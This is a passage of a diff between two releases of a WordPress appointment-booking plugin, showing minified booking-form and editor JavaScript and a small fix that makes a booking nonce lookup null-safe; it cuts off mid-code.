e=this.availabilityService.getAvailableLocations(this.serviceId,this.employeeId),t=this.availabilityService.locationIndexes.filter((t=>e.hasOwnProperty(t))).map((t=>({id:t,name:e[t]}))),i=0===this.locationId?\"0\":String(this.locationId);Ce(this.$locationsSelect,{0:this.unselectedOptionText},t,i),this.preventUpdate=!1}show(){this.$servicesSelect.prop(\"required\",!0),super.show()}hide(){super.hide(),this.$servicesSelect.prop(\"required\",!1)}enable(){super.enable(),this.$selects.prop(\"disabled\",!1)}disable(){super.disable(),this.$selects.prop(\"disabled\",!0)}submitForm(e){this.isActive&&!this.isValidInput()||e.preventDefault()}maybeSubmit(){let e=this.cart.getActiveItem();if(null===e)return console.error(\"Unable to get active cart item in StepServiceForm.maybeSubmit().\");if(e.setService(this.availabilityService.getService(this.serviceId,!0,(()=>{document.dispatchEvent(new CustomEvent(\"mpa_view_item\",{detail:{cartItem:e,currencyCode:m().settings().getCurrency()}}))}))),e.setServiceCategories(this.availabilityService.getServiceCategories(this.serviceId)),0!==this.employeeId?e.setEmployee(this.availabilityService.getEmployee(this.employeeId)):e.setAvailableEmployees(this.availabilityService.filterAvailableEmployees(this.serviceId,this.locationId,\"entities\")),0!==this.locationId)e.setLocation(this.availabilityService.getLocation(this.locationId));else{let t=this.employeeId||e.getAvailableEmployeeIds();e.setAvailableLocations(this.availabilityService.filterAvailableLocations(this.serviceId,t,\"entities\"))}}}class Qe{constructor(e){this.$element=e,this.$message=this.$element.children(\".mpa-message\"),this.cart=new L,this.steps=new ce(this.cart),this.load()}setupSteps(){this.steps.addStep(new Ge(this.$element.find(\".mpa-booking-step-service-form\"),this.cart)).addStep(new ze(this.$element.find(\".mpa-booking-step-period\"),this.cart)).addStep(new $e(this.$element.find(\".mpa-booking-step-cart\"),this.cart)).addStep(new De(this.$element.find(\".mpa-booking-step-checkout\"),this.cart)),m().settings().isPaymentsEnabled()&&this.steps.addStep(new je(this.$element.find(\".mpa-booking-step-payment\"),this.cart)),this.steps.addStep(new ue(this.$element.find(\".mpa-booking-step-booking\"),this.cart)),this.steps.mount(this.$element)}load(){this.cart.createItem();let e=new he;Promise.all([e.load(),m().settings().ready()]).finally((()=>{this.setupSteps(),this.steps.getStep(\"service-form\").setAvailabilityService(e),this.steps.getStep(\"period\").setAvailabilityService(e),this.show(),e.isEmpty()?(this.$message.html(u(\"Sorry, there are no services, employees or locations to book.\",\"motopress-appointment\")),this.$message.removeClass(\"mpa-hide\")):this.steps.goToNextStep()}))}show(){this.$element.addClass(\"mpa-loaded\")}}!function(e){function t(t,i){var s=e(\"#\"+t);s.length?s.replaceWith(i):e(\"head\").append(i)}wp.customize(\"et_divi[all_buttons_font_size]\",(function(e){e.bind((function(e){t(\"mpa-divi-button-font-size\",'\u003Cstyle id=\"mpa-divi-button-font-size\">.mpa-shortcode .button{font-size:'+e+\"px !important;}\u003C\u002Fstyle>\")}))})),wp.customize(\"et_divi[all_buttons_text_color]\",(function(e){e.bind((function(e){t(\"mpa-divi-button-text-color\",'\u003Cstyle id=\"mpa-divi-button-text-color\">.mpa-shortcode .button{color:'+e+\" !important;}\u003C\u002Fstyle>\")}))})),wp.customize(\"et_divi[all_buttons_bg_color]\",(function(e){e.bind((function(e){t(\"mpa-divi-button-bg-color\",'\u003Cstyle id=\"mpa-divi-button-bg-color\">.mpa-shortcode .button{background:'+e+\" !important;}\u003C\u002Fstyle>\")}))})),wp.customize(\"et_divi[all_buttons_border_width]\",(function(e){e.bind((function(e){t(\"mpa-divi-button-border-width\",'\u003Cstyle id=\"mpa-divi-button-border-width\">.mpa-shortcode .button{border-width:'+e+\"px !important;}\u003C\u002Fstyle>\")}))})),wp.customize(\"et_divi[all_buttons_border_color]\",(function(e){e.bind((function(e){t(\"mpa-divi-button-border-color\",'\u003Cstyle id=\"mpa-divi-button-border-color\">.mpa-shortcode .button{border-color:'+e+\" !important;}\u003C\u002Fstyle>\")}))})),wp.customize(\"et_divi[all_buttons_border_radius]\",(function(e){e.bind((function(e){t(\"mpa-divi-button-border-radius\",'\u003Cstyle id=\"mpa-divi-button-border-radius\">.mpa-shortcode .button{border-radius:'+e+\"px !important;}\u003C\u002Fstyle>\")}))})),wp.customize(\"et_divi[all_buttons_font_style]\",(function(i){i.bind((function(i){var s=function(t,i){var s=t.split(\"|\"),a=\"\";return e.inArray(\"bold\",s)>=0?a+=\"font-weight: bold \"+i+\";\":a+=\"font-weight: inherit \"+i+\";\",e.inArray(\"italic\",s)>=0?a+=\"font-style: italic \"+i+\";\":a+=\"font-style: inherit \"+i+\";\",e.inArray(\"underline\",s)>=0?a+=\"text-decoration: underline \"+i+\";\":a+=\"text-decoration: inherit \"+i+\";\",e.inArray(\"uppercase\",s)>=0?a+=\"text-transform: uppercase \"+i+\";\":a+=\"text-transform: inherit \"+i+\";\",a}(i,\"\");t(\"mpa-divi-button-font-style\",'\u003Cstyle id=\"mpa-divi-button-font-style\">.mpa-shortcode .button{'+s+\"}\u003C\u002Fstyle>\")}))})),wp.customize(\"et_divi[all_buttons_spacing]\",(function(e){e.bind((function(e){t(\"mpa-divi-button-spacing\",'\u003Cstyle id=\"mpa-divi-button-spacing\">.mpa-shortcode .button{letter-spacing:'+e+\"px;  !important}\u003C\u002Fstyle>\")}))})),wp.customize(\"et_divi[all_buttons_font]\",(function(e){e.bind((function(e){t(\"mpa-divi-button-font\",'\u003Cstyle id=\"mpa-divi-button-font\">.mpa-shortcode .button{font-family:'+e+\", sans-serif  !important; }\u003C\u002Fstyle>\")}))})),wp.customize(\"et_divi[all_buttons_text_color_hover]\",(function(e){e.bind((function(e){t(\"mpa-divi-button-text-color-hover\",'\u003Cstyle id=\"mpa-divi-button-text-color-hover\">.mpa-shortcode .button:hover{color:'+e+\" !important; }\u003C\u002Fstyle>\")}))})),wp.customize(\"et_divi[all_buttons_bg_color_hover]\",(function(e){e.bind((function(e){t(\"mpa-divi-button-bg-color-hover\",'\u003Cstyle id=\"mpa-divi-button-bg-color-hover\">.mpa-shortcode .button:hover,background:'+e+\" !important; }\u003C\u002Fstyle>\")}))})),wp.customize(\"et_divi[all_buttons_border_color_hover]\",(function(e){e.bind((function(e){t(\"mpa-divi-button-border-color-hover\",'\u003Cstyle id=\"mpa-divi-button-border-color-hover\">.mpa-shortcode .button:hover{border-color:'+e+\" !important; }\u003C\u002Fstyle>\")}))})),wp.customize(\"et_divi[all_buttons_border_radius_hover]\",(function(e){e.bind((function(e){t(\"mpa-divi-button-border-radius-hover\",'\u003Cstyle id=\"mpa-divi-button-border-radius-hover\">.mpa-shortcode .button:hover{border-radius:'+e+\"px !important; }\u003C\u002Fstyle>\")}))})),wp.customize(\"et_divi[all_buttons_spacing_hover]\",(function(e){e.bind((function(e){t(\"mpa-divi-button-spacing-hover\",'\u003Cstyle id=\"mpa-divi-button-spacing-hover\">.mpa-shortcode .button:hover{letter-spacing: '+e+\"px !important; }\u003C\u002Fstyle>\")}))})),e(window).on(\"et_fb_root_did_mount et_fb_section_content_change\",(()=>{setTimeout((()=>{e(\".appointment-form-shortcode\").each(((t,i)=>{new Qe(e(i))}))}),200)}))}(jQuery)}(wp.date,mpaData,intlTelInput)}();\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fmotopress-appointment-lite\u002F2.4.5\u002Fassets\u002Fjs\u002Fedit-post.js \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fmotopress-appointment-lite\u002F2.4.6\u002Fassets\u002Fjs\u002Fedit-post.js\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fmotopress-appointment-lite\u002F2.4.5\u002Fassets\u002Fjs\u002Fedit-post.js\t2026-06-23 11:36:52.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fmotopress-appointment-lite\u002F2.4.6\u002Fassets\u002Fjs\u002Fedit-post.js\t2026-06-30 15:16:08.000000000 +0000\n@@ -3617,6 +3617,7 @@\n \t   * @access protected\r\n \t   *\u002F\n \t  setupProperties() {\n+\t    var _mpaData$nonces$mpa_c;\n \t    \u002F**\r\n \t     * @since 1.0\r\n \t     * @var {Map}\r\n@@ -3656,7 +3657,7 @@\n \n \t    \u002F\u002F Later, StepPayment will replace the nonce with\n \t    \u002F\u002F \"mpa_create_booking_{$bookingId}\"\n-\t    this.bookingNonce = mpaData.nonces.mpa_create_booking;\n+\t    this.bookingNonce = (_mpaData$nonces$mpa_c = mpaData?.nonces?.mpa_create_booking) !== null && _mpaData$nonces$mpa_c !== void 0 ? _mpaData$nonces$mpa_c : ''; \u002F\u002F Missing for blocks\n \t  }\n \n \t  \u002F**\r\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fmotopress-appointment-lite\u002F2.4.5\u002Fassets\u002Fjs\u002Fedit-post.min.js \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fmotopress-appointment-lite\u002F2.4.6\u002Fassets\u002Fjs\u002Fedit-post.min.js\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fmotopress-appointment-lite\u002F2.4.5\u002Fassets\u002Fjs\u002Fedit-post.min.js\t2026-06-23 11:36:52.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fmotopress-appointment-lite\u002F2.4.6\u002Fassets\u002Fjs\u002Fedit-post.min.js\t2026-06-30 15:16:08.000000000 +0000\n@@ -1 +1 @@\n-!function(){\"use strict\";!function(e,t,i){class s{constructor(e){this.$element=e,this.type=e.data(\"type\"),this.$element.attr(\"data-inited\",\"true\")}}class a extends s{constructor(e){super(e),this.$input=e.find(\"input\").first(),this.$input.spectrum()}}let r=\"\u002Fmotopress\u002Fappointment\u002Fv1\";function n(e,t={}){return function(e,t={},i=\"GET\"){return new Promise(((s,a)=>{wp.apiRequest({path:r+e,type:i,data:t}).done((e=>s(e))).fail(((e,t)=>{let i=\"parsererror\";i=e.responseJSON&&e.responseJSON.message?e.responseJSON.message:`Status: ${t}`,\"parsererror\"==i&&(i=\"REST request failed. Maybe PHP error on the server side. Check PHP logs.\"),a(new Error(i))}))}))}(e,t,\"GET\")}class o{constructor(){this.settings=this.getDefaults(),this.loadingPromise=this.load()}getDefaults(){return{plugin_name:\"Appointment Booking\",today:\"2030-01-01\",business_name:\"\",default_time_step:30,default_booking_status:\"confirmed\",confirmation_mode:\"auto\",terms_page_id_for_acceptance:0,allow_multibooking:!1,allow_coupons:!1,allow_customer_account_creation:!1,country:\"\",currency:\"EUR\",currency_symbol:\"&euro;\",currency_position:\"before\",decimal_separator:\".\",thousand_separator:\",\",number_of_decimals:2,timezone:\"UTC\",date_format:\"F j, Y\",time_format:\"H:i\",week_starts_on:0,thumbnail_size:{width:150,height:150},flatpickr_locale:\"en\",enable_payments:!1,active_gateways:[],reservation_received_page_url:\"\",failed_transaction_page_url:\"\",default_payment_gateway:\"\"}}load(){return new Promise(((e,t)=>{n(\"\u002Fsettings\").then((e=>this.settings=e),(e=>console.error(\"Unable to load public settings.\",e))).finally((()=>e(this.settings)))}))}ready(){return this.loadingPromise}getPluginName(){return this.settings.plugin_name}getBusinessDate(){return this.settings.today}getBusinessName(){return this.settings.business_name}getTimeStep(){return this.settings.default_time_step}getDefaultBookingStatus(){return this.settings.default_booking_status}getConfirmationMode(){return this.settings.confirmation_mode}getTermsPageIdForAcceptance(){return this.settings.terms_page_id_for_acceptance}isMultibookingEnabled(){return this.settings.allow_multibooking}isCouponsEnabled(){return this.settings.allow_coupons}isAllowCustomerAccountCreation(){return this.settings.allow_customer_account_creation}getCountry(){return this.settings.country}getCurrency(){return this.settings.currency}getCurrencySymbol(){return this.settings.currency_symbol}getCurrencyPosition(){return this.settings.currency_position}getDecimalSeparator(){return this.settings.decimal_separator}getThousandSeparator(){return this.settings.thousand_separator}getDecimalsCount(){return this.settings.number_of_decimals}getTimezone(){return this.settings.timezone}getDateFormat(){return this.settings.date_format}getTimeFormat(){return this.settings.time_format}getFirstDayOfWeek(){return this.settings.week_starts_on}getThumbnailSize(){return this.settings.thumbnail_size}getFlatpickrLocale(){return this.settings.flatpickr_locale}isPaymentsEnabled(){return this.settings.enable_payments}getActiveGateways(){return this.settings.active_gateways}getReservationReceivedPageUrl(){return this.settings.reservation_received_page_url}getFailedTransactionPageUrl(){return this.settings.failed_transaction_page_url}getDefaultPaymentGateway(){return this.settings.default_payment_gateway}}class l{constructor(){this.settingsCtrl=new o,this.loadingPromise=this.load()}load(){return Promise.all([this.settingsCtrl.ready()]).then((()=>this))}ready(){return this.loadingPromise}settings(){return this.settingsCtrl}static getInstance(){return null==l.instance&&(l.instance=new l),l.instance}}function h(){return l.getInstance()}const c=\"undefined\"!=typeof wp&&wp.i18n&&wp.i18n.__?wp.i18n.__:(e,t=\"\")=>e,d=\"undefined\"!=typeof wp&&wp.i18n&&wp.i18n._x?wp.i18n._x:(e,t,i=\"\")=>e,p=\"undefined\"!=typeof wp&&wp.i18n&&wp.i18n.sprintf?wp.i18n.sprintf:(e,...t)=>{let i=0;return e.replace(\u002F%([sdf])\u002Fg,((e,s)=>{if(i>=t.length)return e;let a=t[i++];switch(s){case\"s\":return String(a);case\"d\":return parseInt(a,10);case\"f\":return parseFloat(a);default:return e}}))},u={weekdays:{shorthand:[c(\"Sun\",\"motopress-appointment\"),c(\"Mon\",\"motopress-appointment\"),c(\"Tue\",\"motopress-appointment\"),c(\"Wed\",\"motopress-appointment\"),c(\"Thu\",\"motopress-appointment\"),c(\"Fri\",\"motopress-appointment\"),c(\"Sat\",\"motopress-appointment\")],longhand:[c(\"Sunday\",\"motopress-appointment\"),c(\"Monday\",\"motopress-appointment\"),c(\"Tuesday\",\"motopress-appointment\"),c(\"Wednesday\",\"motopress-appointment\"),c(\"Thursday\",\"motopress-appointment\"),c(\"Friday\",\"motopress-appointment\"),c(\"Saturday\",\"motopress-appointment\")]},months:{shorthand:[c(\"Jan\",\"motopress-appointment\"),c(\"Feb\",\"motopress-appointment\"),c(\"Mar\",\"motopress-appointment\"),c(\"Apr\",\"motopress-appointment\"),d(\"May\",\"Month (short)\",\"motopress-appointment\"),c(\"Jun\",\"motopress-appointment\"),c(\"Jul\",\"motopress-appointment\"),c(\"Aug\",\"motopress-appointment\"),c(\"Sep\",\"motopress-appointment\"),c(\"Oct\",\"motopress-appointment\"),c(\"Nov\",\"motopress-appointment\"),c(\"Dec\",\"motopress-appointment\")],longhand:[c(\"January\",\"motopress-appointment\"),c(\"February\",\"motopress-appointment\"),c(\"March\",\"motopress-appointment\"),c(\"April\",\"motopress-appointment\"),d(\"May\",\"Month\",\"motopress-appointment\"),c(\"June\",\"motopress-appointment\"),c(\"July\",\"motopress-appointment\"),c(\"August\",\"motopress-appointment\"),c(\"September\",\"motopress-appointment\"),c(\"October\",\"motopress-appointment\"),c(\"November\",\"motopress-appointment\"),c(\"December\",\"motopress-appointment\")]},amPM:[\"AM\",\"PM\"],firstDayOfWeek:h().settings().getFirstDayOfWeek()};function m(t,i=\"public\"){if(\"string\"==typeof t)return t;if(\"internal\"==i)return m(t,\"Y-m-d\");if(\"public\"==i)return e.format(h().settings().getDateFormat(),t);let s=(e,t=2)=>(\"00\"+e).slice(-t),a=!1;return i.split(\"\").map((e=>{if(a)return a=!1,e;switch(e){case\"\\\\\":return a=!0,\"\";case\"j\":return t.getDate();case\"d\":return s(t.getDate());case\"D\":return u.weekdays.shorthand[t.getDay()];case\"l\":return u.weekdays.longhand[t.getDay()];case\"N\":return t.getDay()||7;case\"w\":return t.getDay();case\"z\":let i=new Date(t.getFullYear(),0,1),r=i.getTimezoneOffset()-t.getTimezoneOffset(),n=t-i+60*r*1e3,o=864e5;return Math.floor(n\u002Fo);case\"W\":let l=new Date(Date.UTC(t.getFullYear(),t.getMonth(),t.getDate())),h=l.getUTCDay()||7;l.setUTCDate(l.getUTCDate()+4-h);let c=new Date(Date.UTC(l.getUTCFullYear(),0,1)),d=864e5;return Math.ceil(((l-c)\u002Fd+1)\u002F7);case\"F\":return u.months.longhand[t.getMonth()];case\"M\":return u.months.shorthand[t.getMonth()];case\"m\":return s(t.getMonth()+1);case\"n\":return t.getMonth()+1;case\"t\":return new Date(t.getFullYear(),t.getMonth()+1,0).getDate();case\"Y\":return t.getFullYear();case\"y\":return String(t.getFullYear()).substring(2);case\"L\":return t.getFullYear()%4==0?1:0;case\"A\":return u.amPM[t.getHours()>11?1:0];case\"a\":return u.amPM[t.getHours()>11?1:0].toLowerCase();case\"H\":return s(t.getHours());case\"h\":return s(t.getHours()%12||12);case\"G\":return t.getHours();case\"g\":return t.getHours()%12||12;case\"i\":return s(t.getMinutes());case\"s\":return s(t.getSeconds());case\"v\":return s(t.getMilliseconds(),3);case\"u\":return s(t.getMilliseconds(),3)+\"000\";case\"O\":case\"P\":let p=-t.getTimezoneOffset(),g=p>=0?\"+\":\"-\",y=Math.floor(Math.abs(p)\u002F60),v=Math.abs(p)%60,f=\"O\"==e?\"\":\":\";return g+s(y)+f+s(v);case\"Z\":return 60*t.getTimezoneOffset();case\"U\":return Math.floor(t.getTime()\u002F1e3);case\"c\":return m(t,\"Y-m-d\\\\TH:i:sP\");case\"r\":return m(t,\"D, d M Y H:i:s O\");case\"S\":case\"o\":case\"B\":case\"e\":case\"T\":case\"I\":return\"\";default:return e}})).join(\"\")}function g(e){let t=e.match(\u002F(\\d{4})-(\\d{2})-(\\d{2})\u002F);if(null!=t){let e=parseInt(t[1]),i=parseInt(t[2]),s=parseInt(t[3]);return new Date(e,i-1,s)}return null}function y(){let e=new Date;return e.setHours(0,0,0,0),e}function v(e,t){let i=t.locale||h().settings().getFlatpickrLocale(),s=flatpickr.l10ns[i]||i;\"object\"==typeof s&&(s.firstDayOfWeek=h().settings().getFirstDayOfWeek());let a={formatDate:m,inline:!0,locale:s,monthSelectorType:\"static\",showMonths:1};t=jQuery.extend({},a,t);let r=null;return r=e instanceof jQuery?flatpickr(e[0],t):flatpickr(e,t),r}class f extends s{constructor(e){super(e),this.$dateInput=this.$element.find(\".mpa-date-input\").first(),this.datepicker=null,this.displayFormat=this.$element.data(\"display-format\"),this.sizeClass=this.$element.data(\"size\"),this.initDatepicker(),this.removePreloader()}initDatepicker(){this.datepicker=v(this.$dateInput,{altFormat:this.displayFormat,altInput:!0,altInputClass:\"mpa-alt-date-input \"+this.sizeClass,inline:!1,showMonths:2}),this.$dateInput.prop(\"disabled\")&&this.$element.find(\".mpa-alt-date-input\").prop(\"disabled\",!0)}removePreloader(){this.$element.find(\".mpa-preloader\").remove()}}function b(e){return!!e}function S(e){let t=parseInt(e);return isNaN(t)?e\u003C\u003C0:t}class $ extends s{constructor(e){super(e),this.setupProperties(),this.addListeners()}setupProperties(){this.$input=this.$element.find('input[type=\"hidden\"]'),this.$preview=this.$element.find(\".mpa-preview-wrapper > img\"),this.$addButton=this.$element.find(\".mpa-add-media\"),this.$removeButton=this.$element.find(\".mpa-remove-media\"),this.thumbnailSize=this.$input.attr(\"thumbnail-size\")}addListeners(){this.$preview.on(\"click\",this.selectMedia.bind(this)),this.$addButton.on(\"click\",this.selectMedia.bind(this)),this.$removeButton.on(\"click\",this.removeMedia.bind(this))}getRawValue(){return this.$input.val()}getValue(){return S(this.getRawValue())}setValue(e){this.updateValue(e),this.react()}updateValue(e){this.$input.val(e)}react(){let e=b(this.getValue());this.$addButton.toggleClass(\"mpa-hide\",e),this.$removeButton.toggleClass(\"mpa-hide\",!e),e?this.updatePreview():this.resetPreview()}updatePreview(){let e=wp.media.attachment(this.getValue()).attributes.sizes[this.thumbnailSize].url;this.$preview.removeClass(\"mpa-hide\").attr(\"src\",e)}resetPreview(){this.$preview.addClass(\"mpa-hide\").attr(\"src\",\"\")}selectMedia(e){e.preventDefault();let t=wp.media({multiple:!1});t.open().on(\"select\",(e=>{let i=t.state().get(\"selection\").first().toJSON().id;this.setValue(i)}))}removeMedia(e){e.preventDefault(),this.setValue(\"\")}}function I(e){const s=jQuery(\"\u003Cspan\u002F>\",{id:e.attr(\"id\")+\"_error\",class:\"mpa-phone-field-error mpa-hide\",text:c(\"Phone number is invalid.\",\"motopress-appointment\")});e.after(\"\u003Cbr>\",s);const a=t(e[0],{separateDialCode:!0,initialCountry:i.settings.country,hiddenInput:e.attr(\"name\"),utilsScript:i.urls.plugin+\"assets\u002Fjs\u002Fintl-tel-input-17.0.19\u002Fjs\u002Futils.js\"});a.promise.then((()=>{e.val()&&r(),e.on(\"countrychange\",(e=>{r()})),e.on(\"input\",(e=>{r()}))}));const r=()=>{a.isValidNumber()?(jQuery(\"input[type='hidden'][name='\"+e.attr(\"name\")+\"']\").val(a.getNumber(intlTelInputUtils.numberFormat.E164)),e.removeClass(\"mpa-phone-number--invalid\"),s.addClass(\"mpa-hide\")):(e.addClass(\"mpa-phone-number--invalid\"),s.removeClass(\"mpa-hide\"))};return a}window.mpa_intl_tel_input=I;class w extends s{constructor(e){super(e),this.$input=e.find(\"input\").first(),I(this.$input)}}let T={};function _(e,t=!1){return\"object\"==typeof e?0==function(e,t=!1){return\"object\"==typeof e?Array.isArray(e)?e.length:Object.keys(e).length:t?0:1}(e):!!t||!e}function C(e=\"\",t=!1){let i=function(e,t){return t\u003C(e=parseInt(e,10).toString(16)).length?e.slice(e.length-t):t>e.length?Array(t-e.length+1).join(\"0\")+e:e};T.uniqid_seed||(T.uniqid_seed=Math.floor(123456789*Math.random())),T.uniqid_seed++;let s=e;return s+=i(parseInt((new Date).getTime()\u002F1e3,10),8),s+=i(T.uniqid_seed,5),t&&(s+=(10*Math.random()).toFixed(8).toString()),s}function k(e){return e.filter(((e,t,i)=>i.indexOf(e)===t))}function P(e,t){return e.filter((e=>-1!=t.indexOf(e)))}function D(e,t){let i=Math.min(e.length,t.length),s={};for(let a=0;a\u003Ci;a++)s[e[a]]=t[a];return s}function E(e,t,i=1){let s=i||1,a=Math.abs(Math.floor((t-e)\u002Fs))+1;return[...Array(a).keys()].map((t=>t*i+e))}function x(e,t=\"public\"){e%=1440;let i=parseInt(e\u002F60);e%=60;let s=y();return s.setHours(i,e),A(s,t)}function A(e,t=\"public\"){return m(e,\"internal\"==t?\"H:i\":\"public\"==t?h().settings().getTimeFormat():t)}function M(e){let t=e.split(\":\"),i=parseInt(t[0]),s=parseInt(t[1]),a=y();return a.setHours(i,s),a}function L(e){let t=\"\";for(let i in e)t+=\" \"+i+'=\"'+e[i]+'\"';return t}function B(e,t={}){return\"\u003Cbutton\"+L(t=jQuery.extend({},{type:\"button\",class:\"button\"},t))+\">\"+e+\"\u003C\u002Fbutton>\"}function O(e,t=\"\"){return'\u003Cspan class=\"'+`dashicons dashicons-${e} ${t}`.trimRight()+'\">\u003C\u002Fspan>'}function V(e,t){let i={service_id:\".mpa-service-id\",service_name:\".mpa-service-name\",service_thumbnail:\".mpa-service-thumbnail\",employee_id:\".mpa-employee-id\",employee_name:\".mpa-employee-name\",location_id:\".mpa-location-id\",location_name:\".mpa-location-name\",reservation_date:\".mpa-reservation-date\",reservation_save_date:\".mpa-reservation-save-date\",reservation_time:\".mpa-reservation-time\",reservation_period:\".mpa-reservation-period\",reservation_save_period:\".mpa-reservation-save-period\",reservation_capacity:\".mpa-reservation-capacity\",reservation_clients:\".mpa-reservation-clients\",reservation_clients_count:\".mpa-reservation-clients-count\",reservation_price:\".mpa-reservation-price\"},s=t.clone();s.attr(\"data-id\",e.getItemId());let a=e.getCapacityOptions();for(let t in i){let r=i[t],n=s.find(r).first(),o=\"{\"+t+\"}\";if(!(n.length>0?n.html():\"\").includes(o))continue;let l=\"\";switch(t){case\"service_id\":l=e.service.id;break;case\"service_name\":l=e.service.name;break;case\"service_thumbnail\":l=U(e.service.thumbnail);break;case\"employee_id\":l=e.employee.id;break;case\"employee_name\":l=e.employee.name;break;case\"location_id\":l=e.location.id;break;case\"location_name\":l=e.location.name;break;case\"reservation_date\":l=m(e.date);break;case\"reservation_save_date\":l=m(e.date,\"internal\");break;case\"reservation_time\":l=e.time.toString(\"short\");break;case\"reservation_period\":l=e.time.toString();break;case\"reservation_save_period\":l=e.time.toString(\"internal\");break;case\"reservation_capacity\":l=j(D(a,a),e.capacity);break;case\"reservation_clients\":l=H(D(a,a),e.capacity);break;case\"reservation_clients_count\":l=e.capacity;break;case\"reservation_price\":let t=e.employee.id;l=R(e.service.getPrice(t,e.capacity))}n.html(n.html().replace(o,l))}return s.find(\".cell-people .cell-title\").html(e.getService().getQuantityLabel()),s.find('[name*=\"{item_id}\"]').each(((t,i)=>{i.name=i.name.replace(\"{item_id}\",e.getItemId())})),1===a.length&&s.find(\".cell-people\").addClass(\"mpa-hide\"),s}function F(e,t,i=\"public\"){let s=\"short\"==i?\"public\":i,a=m(e,s),r=m(t,s);return\"short\"==i&&a==r?a:a+\" - \"+r}function R(e,t={}){let i=h().settings();t=jQuery.extend({currency_symbol:i.getCurrencySymbol(),currency_position:i.getCurrencyPosition(),decimal_separator:i.getDecimalSeparator(),thousand_separator:i.getThousandSeparator(),decimals:i.getDecimalsCount(),literal_free:!0,trim_zeros:!0},t);let s=function(e,t=0,i=\".\",s=\",\"){let a,r,n,o,l,h=\"\";return e\u003C0&&(h=\"-\",e*=-1),a=parseInt(e=(+e||0).toFixed(t))+\"\",(r=a.length)>3?r%=3:r=0,l=r?a.substr(0,r)+s:\"\",n=a.substr(r).replace(\u002F(\\d{3})(?=\\d)\u002Fg,\"$1\"+s),o=t?i+Math.abs(e-a).toFixed(t).replace(\u002F-\u002F,0).slice(2):\"\",h+l+n+o}(Math.abs(e),t.decimals,t.decimal_separator,t.thousand_separator),a=\"mpa-price\";if(0==e&&(a+=\" mpa-zero-price\"),0==e&&t.literal_free)a+=\" mpa-price-free\",s=d(\"Free\",\"Zero price\",\"motopress-appointment\");else{t.trim_zeros&&(s=function(e,t=null){null==t&&(t=h().settings().getDecimalSeparator());let i=new RegExp(\"\\\\\"+t+\"0+$\");return e.replace(i,\"\")}(s));let i='\u003Cspan class=\"mpa-currency\">'+t.currency_symbol+\"\u003C\u002Fspan>\";switch(t.currency_position){case\"before\":s=i+s;break;case\"after\":s+=i;break;case\"before_with_space\":s=i+\"&nbsp;\"+s;break;case\"after_with_space\":s=s+\"&nbsp;\"+i}e\u003C0&&(s=\"-\"+s)}return'\u003Cspan class=\"'+a+'\">'+s+\"\u003C\u002Fspan>\"}function j(e,t,i={}){let s=\"\u003Cselect\"+L(i)+\">\";return s+=H(e,t),s+=\"\u003C\u002Fselect>\",s}function N(e,t,i=!1){let s=\"\";return s='\u003Coption value=\"'+e+'\"'+(i?' selected=\"selected\"':\"\")+\">\",s+=t,s+=\"\u003C\u002Foption>\",s}function H(e,t){let i=\"\";for(let s in e)i+=N(s,e[s],s==t);return i}function Q(e,t,i,s){let a=\"\";const r=String(s);for(const[e,i]of Object.entries(t))a+=N(e,i,e===r);for(let e of i)a+=N(String(e.id),e.name,String(e.id)===r);e.empty().append(a).val(r)}function U(e){let{width:t,height:i}=h().settings().getThumbnailSize();return\"\u003Cimg\"+L({width:t,height:i,src:e,class:\"attachment-thumbnail size-thumbnail\"})+\">\"}class W extends s{constructor(e){super(e),this.setupProperties(),this.addListeners()}setupProperties(){this.$table=this.$element.find(\"table\"),this.$rows=this.$table.children(\"tbody\"),this.$addButton=this.$element.find(\".mpa-add-button\"),this.baseName=this.$element.attr(\"data-base-name\"),this.rows={},this.rowsCount=0,this.$element.find(\".mpa-attribute\").each(((e,t)=>{let i=jQuery(t),s=i.attr(\"data-id\");this.rows[s]=i,this.rowsCount++}))}addListeners(){let e=this;this.$addButton.on(\"click\",(()=>{this.addRow()})),this.$element.find(\".mpa-remove-button\").on(\"click\",(function(){e.removeRowByElement(this)}))}addRow(){let e=C(),t=this.renderRow(e);this.$rows.append(t);let i=this.$rows.find('[data-id=\"'+e+'\"]');this.rows[e]=i,this.rowsCount++,this.$table.removeClass(\"mpa-hide\");let s=this;i.find(\".mpa-remove-button\").on(\"click\",(function(){s.removeRowByElement(this)}))}renderRow(e){let t=this.baseName+\"[\"+e+\"]\",i=\"\";return i+='\u003Ctr class=\"mpa-attribute\" data-id=\"'+e+'\">',i+='\u003Ctd class=\"column-label\">',i+='\u003Cinput type=\"text\" name=\"'+t+'[label]\" value=\"\" class=\"large-text\">',i+=\"\u003C\u002Ftd>\",i+='\u003Ctd class=\"column-content\">',i+='\u003Cinput type=\"text\" name=\"'+t+'[content]\" value=\"\" class=\"large-text\">',i+=\"\u003C\u002Ftd>\",i+='\u003Ctd class=\"column-link\">',i+='\u003Cinput type=\"text\" name=\"'+t+'[link]\" value=\"\" class=\"large-text\">',i+=\"\u003C\u002Ftd>\",i+='\u003Ctd class=\"column-class\">',i+='\u003Cinput type=\"text\" name=\"'+t+'[class]\" value=\"\" class=\"large-text\">',i+=\"\u003C\u002Ftd>\",i+='\u003Ctd class=\"column-actions\">'+O(\"trash\",\"mpa-remove-button\")+\"\u003C\u002Ftd>\",i+=\"\u003C\u002Ftr>\",i}removeRowByElement(e){let t=jQuery(e).parents(\".mpa-attribute\").attr(\"data-id\");t&&this.removeRow(t)}removeRow(e){this.rows.hasOwnProperty(e)&&(this.rows[e].remove(),this.rowsCount--,delete this.rows[e],0==this.rowsCount&&this.$table.addClass(\"mpa-hide\"))}}class z extends 